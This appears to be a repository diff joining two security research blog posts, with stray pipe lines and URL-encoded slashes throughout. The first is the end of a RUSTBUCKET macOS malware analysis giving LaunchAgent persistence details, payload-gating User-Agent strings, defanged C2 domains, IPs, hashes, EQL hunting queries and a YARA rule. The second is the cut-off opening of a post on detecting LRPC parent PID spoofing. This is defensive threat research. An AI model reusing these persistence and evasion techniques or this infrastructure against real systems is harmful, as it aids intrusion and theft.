Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
The malware proceeds by granting execution permissions to the uploaded file using the **chmod** API.
|
||||
|
||||
After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server
|
||||
|
||||
|
||||
|
||||
### The undetected version of RUSTBUCKET
|
||||
Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.
|
||||
|
||||
As of the publication of this research, the [newly discovered version](https://www.virustotal.com/gui/file/de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500) of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
### Persistence
|
||||
A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.
|
||||
|
||||
In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path **`%2FUsers%2F\<user\>%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist`** , and it copies the malware’s binary to the following path **`%2FUsers%2F\<user\>%2FLibrary%2FMetadata%2FSystem Update`**.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
There are several elements of the plist file, using standard true%2Ffalse or string values:
|
||||
|
||||
- **Label:** The key "Label" specifies the name of the LaunchAgent, which in this case is **com.apple.systemupdate**. This expects a string value.
|
||||
- **RunAtLoad:** This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.
|
||||
- **LaunchOnlyOnce:** This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.
|
||||
- **KeepAlive:** This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.
|
||||
- **ProgramArguments:** The "ProgramArguments" key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at **"`%2FUsers%2F\<user\>%2FLibrary%2FMetadata%2FSystem Update`"** and provides the C2 URL **"https:%2F%2Fwebhostwatto.work[.]gd"** as an argument to the malware.
|
||||
|
||||
|
||||
## RUSTBUCKET and REF9135 analysis
|
||||
|
||||
|
||||
### Overview
|
||||
The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the [Lazarus Group](https://attack.mitre.org/groups/G0032/). The [2016 Bangladesh Bank robbery](https://www.nytimes.com/interactive/2018/05/03/magazine/money-issue-bangladesh-billion-dollar-bank-heist.html) stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.
|
||||
|
||||
|
||||
|
||||
> As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the [BBC World Service](https://www.bbc.co.uk/programmes/w13xtvg9/episodes/downloads) that is an unbelievable account of this event.
|
||||
|
||||
### Networking infrastructure
|
||||
The persistence mechanism identified previously calls out to **https:%2F%2Fwebhostwatto.work[.]gd**. Third-party research into this URL indicates that 12%2F89 [VirusTotal](https://www.virustotal.com/gui/url/e299c9f2233f025256ab29d53d070a8f94d1c2c1a2b6f3a7c13e16df185e9e32/detection) vendors have identified it as malicious, and it exists within a community collection documenting the [DangerousPassword phishing campaign](https://www.cyfirma.com/outofband/tracking_dangerouspassword_campaign_by_lazarusgroup/).
|
||||
|
||||
|
||||
|
||||
![VT detections and community collections for https://webhostwatto.work[.]gd](/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image6.png)
|
||||
|
||||
VirusTotal [last saw](https://www.virustotal.com/gui/domain/webhostwatto.work.gd/detection) the domain pointing to **104.168.167[.]88**. Which has been specifically identified in a Sekoia.io [blog](https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/) in May as part of BlueNorOff’s RUSTBUCKET campaign.
|
||||
|
||||
|
||||
|
||||
![Updated RUSTBUCKET IP (104.168.167[.]88) previously identified by Sekoia.io](/assets/images/DPRK-strikes-using-a-new-variant-of-rustbucket/image4.jpg)
|
||||
|
||||
Further connecting **webhostwatto.work[.]gd** to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( **1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6** ) with another domain, **companydeck[.]online**.
|
||||
|
||||
**companydesk[.]online** is included in the [VirusTotal Graph](https://www.virustotal.com/graph/g6e8b200cfd774d129558fa5715c83d1bc81099f5cd7643719580be988ec01b8f) (VirusTotal account required) for [APT38](https://attack.mitre.org/groups/G0082/), which is also known as DangerousPassword, BlueNorOff, etc.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
DangerousPassword and BlueNorOff are campaigns that have both been previously associated with the DPRK.
|
||||
|
||||
Using the IP address (**64.44.141[.]15**) for our initial C2 domain, **crypto.hondchain[.]com**, we uncovered 3 additional C2 domains:
|
||||
|
||||
- **starbucls[.]xyz**
|
||||
- **jaicvc[.]com**
|
||||
- **docsend.linkpc[.]net** (dynamic DNS domain)
|
||||
|
||||
While there are only 5 hosts (4 total domains) registered to the C2 IP address (indicating that this was not a high-capacity hosting server), we looked for additional relationships to increase the association confidence between the domains. To do this, we replicated the same fingerprinting process previously used with **webhostwatto.work[.]gd**. The TLS fingerprint hash for **starbucls[.]xyz** ( **788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a** ) is the same fingerprint as **jaicvc[.]com**.
|
||||
|
||||
With these two domains having the same TLS fingerprint hash and the fact that they were both registered to the IP address, we were able to cluster these atomic entities, and their siblings, together with high confidence:
|
||||
|
||||
- All hosts were registered to **64.44.141[.]15**
|
||||
- **starbucls[.]xyz** and **crypto.hondchain[.]com** were observed being used by our malware samples
|
||||
- **starbucls[.]xyz** and **jaicvc[.]com** shared a TLS fingerprint
|
||||
|
||||
|
||||

|
||||
|
||||
Looking at the “First” column (when they were first observed through 3rd party passive DNS), these hosts are being created rapidly, likely as an attempt to stay ahead of detection efforts by research teams. We are associating the following domains and IP address to the REF9135 campaign with high confidence:
|
||||
|
||||
- **starbucls[.]xyz**
|
||||
- **jaicvc[.]com**
|
||||
- **crypto.hondchain[.]com**
|
||||
- **64.44.141[.]15**
|
||||
|
||||
We have not observed **docsend.linkpc[.]net** being used with the RUSTBUCKET samples we analyzed. However, its shared IP registration and host siblings lead us to state with a moderate degree of confidence that it is directly related to RUSTBUCKET and REF9135 as C2 infrastructure; and a high degree of confidence that it is malicious (shared infrastructure as part of other campaigns).
|
||||
|
||||
|
||||
|
||||
### Defense evasion
|
||||
The campaign owners used techniques to hinder the collection of Stage 2 and Stage 3 binaries by analysts who may have overlooked User-Agent strings in their investigations, as well as internet scanners and sandboxes focused on collecting malicious binaries.
|
||||
|
||||
As outlined in the Stage 1 section, there is a specific User-Agent string ( **cur1-agent** ) that is expected when downloading the Stage 2 binary, if you do not use the expected User-Agent, you will be provided with a 405 HTTP response status code (Method Not Allowed).
|
||||
|
||||
It also appears that the campaign owners are monitoring their payload staging infrastructure. Using the expected User-Agent for the Stage 3 binary download (**mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)**), we were able to collect the Stage 3 binary.
|
||||
|
||||
Finally, we observed REF9135 changing its C2 domain once we began to collect the Stage 2 and 3 binaries for analysis. When making subsequent requests to the original server (**crypto.hondchain[.]com**), we received a 404 HTTP response status code (Not Found) and shortly after, a new C2 server was identified (**starbucls[.]xyz**). This could be because we caught the binary before it was rolled off as part of a normal operational security practice (don’t leave your valuable payload attached to the Internet to be discovered) or because they observed a connection to their infrastructure that was not from their targeted network.
|
||||
|
||||
Of note, while the User-Agent strings above could initially appear to be the default cURL or Firefox User-Agents strings to an analyst, they are not. The default cURL User-Agent string is **curl%2Fversion.number** whereas the malware uses **cur1-agent** (using a **1** in place of the **l** in “curl”). Additionally, the “Firefox” string is all lowercase (**mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)**), unlike actual [Firefox User-Agent strings](https://www.useragentstring.com/pages/Firefox/) which are camel-cased.
|
||||
|
||||
This requirement to download payloads allows the attackers to restrict distribution to only requestors who know the correct UA string. This provides strong protection against both scanning services and researchers, who would otherwise have early access to hosted malicious files for analysis and detection engineering.
|
||||
|
||||
|
||||
|
||||
### Victimology
|
||||
The REF9135 victim is a venture-backed cryptocurrency company providing services to businesses such as payroll and business-to-business transactions with a headquarters in the United States. This victim fits the mold from prior reporting on BlueNorOff targeting organizations with access to large amounts of cryptocurrency for theft.
|
||||
|
||||
|
||||
|
||||
## Observed adversary tactics and techniques
|
||||
Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
|
||||
|
||||
### Tactics
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Initial access](https://attack.mitre.org/tactics/TA0001)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002)
|
||||
- [Defense evasion](https://attack.mitre.org/tactics/TA0005)
|
||||
- [Discovery](https://attack.mitre.org/tactics/TA0007)
|
||||
- [Lateral movement](https://attack.mitre.org/tactics/TA0008/)
|
||||
- [Command and control](https://attack.mitre.org/tactics/TA0011)
|
||||
|
||||
|
||||
## Diamond model
|
||||
Elastic Security utilizes the [Diamond Model](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
## Detection logic
|
||||
|
||||
|
||||
### Prevention
|
||||
- [MacOS.Trojan.RustBucket](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_RustBucket.yar)
|
||||
- [Persistence via Suspicious Launch Agent or Launch Daemon](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/persistence_persistence_via_suspicious_launch_agent_or_launch_daemon.toml)
|
||||
|
||||
|
||||
### Hunting queries
|
||||
The events for EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.
|
||||
|
||||
|
||||
|
||||
#### EQL queries
|
||||
Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors observed in REF9135.
|
||||
|
||||
**Suspicious Curl File Download via Osascript**
|
||||
|
||||
|
||||
|
||||
```
|
||||
process where process.parent.name : "osascript" and process.name : "curl" and process.args : "-o"
|
||||
```
|
||||
|
||||
**Suspicious URL as argument to Self-Signed Binary**
|
||||
|
||||
|
||||
|
||||
```
|
||||
process where event.type == "start" and event.action == "exec" and
|
||||
process.code_signature.trusted == false and
|
||||
process.code_signature.signing_id regex~ """[A-Za-z0-9\_\s]{2,}\-[a-z0-9]{40}""" and
|
||||
process.args : "http*" and process.args_count <= 3
|
||||
```
|
||||
|
||||
#### YARA
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the RUSTBUCKET malware:
|
||||
|
||||
|
||||
|
||||
```
|
||||
rule MacOS_Trojan_RustBucket {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2023-06-26"
|
||||
last_modified = "2023-06-26"
|
||||
license = "Elastic License v2"
|
||||
os = "MacOS"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "RustBucket"
|
||||
threat_name = "MacOS.Trojan.RustBucket"
|
||||
reference_sample = "9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747"
|
||||
severity = 100
|
||||
|
||||
strings:
|
||||
$user_agent = "User-AgentMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
|
||||
$install_log = "/var/log/install.log"
|
||||
$timestamp = "%Y-%m-%d %H:%M:%S"
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https:%2F%2Fwww.jamf.com%2Fblog%2FBlueNorOff-apt-targets-macos-rustbucket-malware%2F](https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/)
|
||||
- [https:%2F%2Fblog.sekoia.io%2FBlueNorOffs-rustbucket-campaign%2F](https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/)
|
||||
|
||||
|
||||
## Observations
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/rustbucket) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
| --- | --- | --- | --- |
|
||||
| webhostwatto.work[.]gd | Domain | N%2FA | REF9135 C2 domain |
|
||||
| crypto.hondchain[.]com | Domain | N%2FA | REF9135 C2 domain |
|
||||
| starbucls[.]xyz | Domain | N%2FA | REF9135 C2 domain |
|
||||
| jaicvc[.]com | Domain | N%2FA | REF9135 C2 domain |
|
||||
| docsend.linkpc[.]net | Domain | N%2FA | REF9135 C2 domain |
|
||||
| companydeck[.]online | Domain | N%2FA | Associated by REF9135 TLS fingerprint hash |
|
||||
| 104.168.167[.]88 | ipv4 | N%2FA | REF9135 C2 IP address |
|
||||
| 64.44.141[.]15 | ipv4 | N%2FA | REF9135 C2 IP address |
|
||||
| 788261d948177acfcfeb1f839053c8ee9f325bd6fb3f07637a7465acdbbef76a | x509-certificate | jaicvc[.]com | REF9135 C2 TLS fingerprint hash |
|
||||
| 1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6 | x509-certificate | webhostwatto.work[.]gd | REF9135 C2 TLS fingerprint hash |
|
||||
| 9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
|
||||
| 7fccc871c889a4f4c13a977fdd5f062d6de23c3ffd27e72661c986fae6370387 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
|
||||
| ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
|
||||
| de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500 | SHA-256 | ErrorCheck | MacOS.Trojan.RustBucket |
|
||||
| 4f49514ab1794177a61c50c63b93b903c46f9b914c32ebe9c96aa3cbc1f99b16 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
|
||||
| fe8c0e881593cc3dfa7a66e314b12b322053c67cbc9b606d5a2c0a12f097ef69 | SHA-256 | N%2FA | MacOS.Trojan.RustBucket |
|
||||
| 7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8 | SHA-256 | %2FUsers%2FShared%2F.pd | Stage 2 |
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,204 @@
|
|||
---
|
||||
title: "Effective Parenting - detecting LRPC-based parent PID spoofing"
|
||||
slug: "effective-parenting-detecting-lrpc-based-parent-pid-spoofing"
|
||||
date: "2023-03-29"
|
||||
description: "Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion."
|
||||
author:
|
||||
- slug: john-uhlmann
|
||||
image: "blog-thumb-sorting-colors.jpg"
|
||||
category:
|
||||
- slug: security-research
|
||||
tags:
|
||||
- windows internals
|
||||
- defense evasion
|
||||
---
|
||||
|
||||
Adversaries currently utilize [RPC](https://docs.microsoft.com/en-us/windows/win32/rpc/)’s client-server architecture to obfuscate their activities on a host – including [COM](https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting) and [WMI](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture) which are both RPC-based. For example, a number of local RPC servers will happily launch processes on behalf of a malicious client - and that form of defense evasion is difficult to flag as malicious without being able to correlate it with the client.
|
||||
|
||||

|
||||
|
||||
The above annotated screenshot is the logical process tree after a Microsoft Word macro called three COM objects, each exposing a `ShellExecute` interface and also the WMI `Win32\_Process::Create` method. The WMI call has specialized telemetry that can reconstruct that Microsoft Word initiated the process creation (the blue arrow), but the COM calls don’t (the red arrows). So defenders have no visibility that Microsoft Word made a COM call over an RPC call to spawn PowerShell elsewhere on the system.
|
||||
|
||||
The defender is left with a challenge to interpretation because of this lack of context - Word spawning PowerShell is a red flag, but is _Explorer_ spawning PowerShell malicious, or simply user behavior?
|
||||
|
||||
RPC will typically use [LRPC](https://learn.microsoft.com/en-us/windows/win32/rpc/selecting-a-protocol-sequence) as the transport for inter-process communication. Using process creation as a case study, this research will outline the evasion-detection arms race to date, describe the weaknesses in some current detection approaches and then follow the quest for a generic approach to LRPC-based evasion.
|
||||
|
||||
## A Brief History of Child Process Evasion
|
||||
|
||||
It is often very beneficial for adversaries to spawn child processes during intrusions. Using legitimate pre-installed system tools to achieve your aims saves on capability development time and can potentially evade security instrumentation by providing a veneer of legitimacy for the activity.
|
||||
|
||||
However, for the activity to look plausibly legitimate, the parent process also needs to seem plausible. The classic counter-example is that Microsoft Word spawning PowerShell is highly anomalous. In fact, Elastic SIEM includes a prebuilt rule to detect [suspicious MS Office child processes](https://www.elastic.co/guide/en/security/current/suspicious-ms-office-child-process.html) and Elastic Endpoint will also [prevent malicious execution](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_powershell_obfuscation_spawned_via_microsoft_office.toml). As documented in the Elastic [Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report), suspicious parent/child relationships was one of the three most common defense evasion techniques used by threats in 2022.
|
||||
|
||||
Endpoint Protection Platform (EPP) products could prevent the most egregious process parent relationships, but it was the rise of Endpoint Detection and Response (EDR) approaches with pervasive process start logging and the ability to retrospectively hunt that established a scalable approach to anomalous process tree detection.
|
||||
|
||||
Adversaries initially pivoted to evasions using a [Win32 API feature introduced in Windows Vista](https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/) to support User Account Control (UAC) that allows a process to specify a different logical parent process to the real calling process. However, [endpoint security could still identify the real parent process](https://blog.f-secure.com/detecting-parent-pid-spoofing/) based on the calling process context during the [process creation notification callback](https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-pssetcreateprocessnotifyroutine), and [detection rule](https://www.elastic.co/guide/en/security/current/parent-process-pid-spoofing.html) coverage was quickly re-established.
|
||||
|
||||
New evasion techniques evolved in response, and a common method currently leveraged by adversaries is to indirectly spawn child processes via RPC – including [DCOM](https://docs.microsoft.com/en-us/windows/win32/com/com-technical-overview#remoting) and [WMI](https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-architecture) which are both RPC-based. RPC can be either inter-host or simply inter-process. The latter is oxymoronically called Local Remote Procedure Call (LRPC).
|
||||
|
||||
The most well-known of these was the [`Win32\_Process::Create`](https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/create-method-in-class-win32-process) WMI method. In order to detect this, Microsoft appears to have explicitly added a new [`Microsoft-Windows-WMI-Activity`](https://github.com/jdu2600/Windows10EtwEvents/blame/master/manifest/Microsoft-Windows-WMI-Activity.tsv) ETW event in Windows 10 1809. The new event 23 included the client process id - the missing data point needed to associate the activity with a requesting client.
|
||||
|
||||
Unfortunately adversaries were quickly able to pivot to alternate process spawning out-of-process RPC servers such as [`MMC20.Application::ExecuteShellCommand`](https://learn.microsoft.com/en-us/previous-versions/windows/desktop/mmc/view-executeshellcommand). Waiting for Microsoft to add telemetry to dual-purpose out-of-process RPC servers [one-by-one](https://en.wikipedia.org/wiki/Whac-A-Mole) wasn’t going to be a viable detection approach, so last year we set out on a side quest to generically associate LRPC server actions with the requesting LRPC client process.
|
||||
|
||||
## Detecting LRPC provenance
|
||||
|
||||
The majority of previous public RPC telemetry research has focused on inter-host lateral movement – typically spawning a process on a remote host. For example: - [Lateral Movement using the MMC20.Application COM Object](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)- [Lateral Movement via DCOM: Round 2](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)- [Endpoint Detection of Remote Service Creation and PsExec](https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/) - [Utilizing RPC Telemetry](https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5)- [Detecting Lateral Movement techniques with Elastic](https://www.elastic.co/blog/hunting-for-lateral-movement-using-event-query-language) - [Stopping Lateral Movement via the RPC Firewall](https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/)
|
||||
|
||||
The ultimate advice for defenders is typically to monitor RPC network traffic for anomalies or, better yet, to block unnecessary remote access to RPC interfaces with [RPC Filters](https://www.akamai.com/blog/security/guide-rpc-filter) (part of the [Windows Filtering Platform](https://learn.microsoft.com/en-us/windows/win32/fwp/)) or specific RPC methods with 3rd party tooling like [RPC Firewall](https://github.com/zeronetworks/rpcfirewall).
|
||||
|
||||
Unfortunately these approaches don’t work when the adversary uses RPC to spawn a process elsewhere on the same host. In this case, the RPC transport is typically [ALPC](https://learn.microsoft.com/en-us/windows/win32/etw/alpc) - monitoring and filtering at the network layer does not then apply.
|
||||
|
||||
On the host, detection engineers typically look to leverage telemetry from the inbuilt Event Tracing (including EventLog) in the first instance. If this proves insufficient, then they can investigate custom approaches such as user-mode function hooking or mini-filter drivers.
|
||||
|
||||
In the RPC case, [`Microsoft-Windows-RPC`](https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-RPC.tsv) ETW events are very useful for identifying anomalous behaviours.
|
||||
|
||||
Especially: - Event 5 - `RpcClientCallStart` (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel) - Event 6 - `RpcServerCallStart` (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel)
|
||||
|
||||
Additionally, `RpcClientCallStart` is generated by the client and `RpcServerCallStart` by the server so the ETW headers will provide the client and server process ids respectively. Further, there is a 1:1 mapping between endpoint addresses and server process ids. So the server process can be inferred from the `RpcClientCallStart` event.
|
||||
|
||||
The RPC interface UUID and Procedure number combined with the caller details are (usually) sufficient to identify intent. For example, RPC interface UUID `{367ABB81–9844–35F1-AD32–98F038001003}` is the Service Control Manager Remote Protocol which exposes the ability to configure Windows services. The 12th procedure in this interface is `RCreateServiceW` which notoriously is the method that PsExec uses to execute processes on remote systems.
|
||||
|
||||
For endpoint security vendors, however, there are a few issues to address before scalable robust `Microsoft-Windows-RPC` detections would be possible: 1. RPC event volumes are significant 2. There isn't an obvious mechanism to strongly correlate a client call with the resultant server call 3. There isn’t an obvious mechanism to strongly correlate a server call with the resultant server behavior
|
||||
|
||||
Let’s address these three issues one by one.
|
||||
|
||||
### LRPC event volumes
|
||||
|
||||
There are thousands of LRPC events each second – and most of them are uninteresting. To address the LRPC event volume concern, we could limit the events to just those RPC events that are inter-process (including inter-host). However, this immediately leads to the second concern. We need to identify the client of each server call in order to reduce event volumes down to just those which are inter-process.
|
||||
|
||||
### Correlating RPC server calls with their clients
|
||||
|
||||

|
||||
|
||||
Modern Windows RPC has roughly three [transports](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101): - TCP/IP (nacn_ip_tcp, nacn_http, ncadg_ip_udp and nacn_np over SMB) - inter-process Named Pipes (direct nacn_np) - inter-process ALPC (ncalrpc)
|
||||
|
||||
The `RpcServerCallStart` event alone is not sufficient to determine if the call was inter-process. It needs to be correlated against a preceding `RpcCientCallStart` event, and [this correlation](https://stackoverflow.com/questions/41504738/how-to-correlate-rpc-calls-in-etw-traces) is unfortunately weak. At best you can identify a pair of `RpcServerCall` start/stop events that are bracketed by a pair of `RpcClientCall` events with the same parameters. (Note - for performance reasons, ETW events generated from different threads may arrive out of order). This means that you need to maintain a holistic RPC state - which creates an on-host storage and processing volume concern in order to address the event volume concern.
|
||||
|
||||
More importantly though, the `RpcClientCallStart` events are generated in the client process where an adversary has already achieved execution and therefore can be [intercepted with very little effort](https://twitter.com/dez_/status/938074904666271744). There is little point to implementing a detection for something so trivial to circumvent, especially when there are more effective options.
|
||||
|
||||
Ideally, the RPC server would access the client details and directly log this information. Unfortunately, the ETW events don’t include this information - which is not surprising since one of the RPC design goals was simplification through abstraction. The RPC runtime (allegedly) can be configured via Group Policy to do exactly this, though. It can store [RPC State Information](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enabling-rpc-state-information) which can then be used during debugging to [identify the client caller from the server thread](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/identifying-the-caller-from-the-server-thread). Unfortunately the Windows XP era documentation didn’t immediately work for Windows 10.
|
||||
|
||||
It did provide a rough outline describing how to address the first two problems: reducing event volumes and correlating server calls to client processes. It is possible to hook the RPC runtime in all RPC servers, account for the various transports, and then log or filter inter-process RPC events only. (This is likely akin to how [RPC Firewall](https://github.com/zeronetworks/rpcfirewall)handles network RPC - just with local endpoints).
|
||||
|
||||
### Correlating RPC server calls and resultant behavior
|
||||
|
||||
The next problem was how to correctly attribute a specific server call to the resultant server behaviour. On a busy server, how could we tie an opaque call to the `ExecuteShellCommand` method to a specific process creation event? And what if the call came from script-based malware and was further wrapped under a method like [`IDispatch::Invoke`](https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-idispatch-invoke)?
|
||||
|
||||
We didn’t want to have to inspect the RPC parameter blob and individually implement parsing support for each abusable RPC method.
|
||||
|
||||
#### Introducing ETW’s ActivityId
|
||||
|
||||
Thankfully, Microsoft had already thought of this scenario and [provides ETW tracing guidance](https://docs.microsoft.com/en-us/archive/msdn-magazine/2007/april/event-tracing-improve-debugging-and-performance-tuning-with-etw) to developers.
|
||||
|
||||

|
||||
|
||||
They suggest that developers generate and propagate a unique 128-bit `ActivityId` between related ETW events to enable end-to-end tracing scenarios. This is typically handled automatically by ETW for events generated on the same thread as the value is stored in thread local storage. However, the developer must manually propagate this ID to related activities performed by other threads… or processes. As long as the RPC Runtime and all Microsoft RPC servers had followed ETW tracing best practices, we should finally have the end-to-end correlation we want!
|
||||
|
||||
It was time to break out a decompiler (we like Ghidra but there are many options) and inspect rpcrt4.dll. By looking at the first parameter passed to [`EventRegister`](https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nf-evntprov-eventregister) calls, we can see that there are three ETW GUIDs in the RPC runtime. These GUIDs are defined in a contiguous block and helpfully came with public symbols.
|
||||
|
||||

|
||||
|
||||
These GUIDs correspond to [`Microsoft-Windows-RPC`](https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC.tsv), [`Microsoft-Windows-Networking-Correlation`](https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-Networking-Correlation.tsv) and [`Microsoft-Windows-RPC-Events`](https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC-Events.tsv) respectively. Further, the RPC runtime helpfully wraps calls to `EventWrite` in just two places.
|
||||
|
||||
The first call is in `McGenEventWrite\_EtwEventWriteTransfer` and looks like this:
|
||||
|
||||
```
|
||||
`EtwEventWriteTransfer` (RegHandle, EventDescriptor, NULL, NULL, UserDataCount, UserData);
|
||||
```
|
||||
|
||||
The NULL parameters mean that `ActivityId` will always be the configured per-thread `ActivityId` and `RelatedActivityId` will always be excluded in events logged by this code path.
|
||||
|
||||
The second call is in `EtwEx\_tidActivityInfoTransfer` and looks like this:
|
||||
|
||||
```
|
||||
`EtwEventWriteTransfer` (Microsoft_Windows_Networking_CorrelationHandle, EventDescriptor, ActivityId, RelatedActivityId, UserDataCount, UserData);
|
||||
```
|
||||
|
||||
This means that `RelatedActivityId` will only ever be logged in `Microsoft-Windows-Networking-Correlation` events. RPC Runtime `ActivityId` s are (predominantly) created within a helper function that ensures that this correlation is always logged.
|
||||
|
||||

|
||||
|
||||
Decompilation also revealed that the RPC runtime allocates ETW `ActivityId` s by calling `UuidCreate` , which generates a random 128-bit value. This is done in locations such as `NdrAysncClientCall` and `HandleRequest`. In other words, the client and server both individually allocate `ActivityId` s. This isn’t unsurprising because the DCE/RPC specification doesn’t seem to include a transaction id or similar construct which would allow the client to propagate an ActivityId to the server. That’s okay though: we’re only currently missing the correlation between server call and the resultant behaviour. Also we don’t want to trust any potentially tainted client-supplied information.
|
||||
|
||||
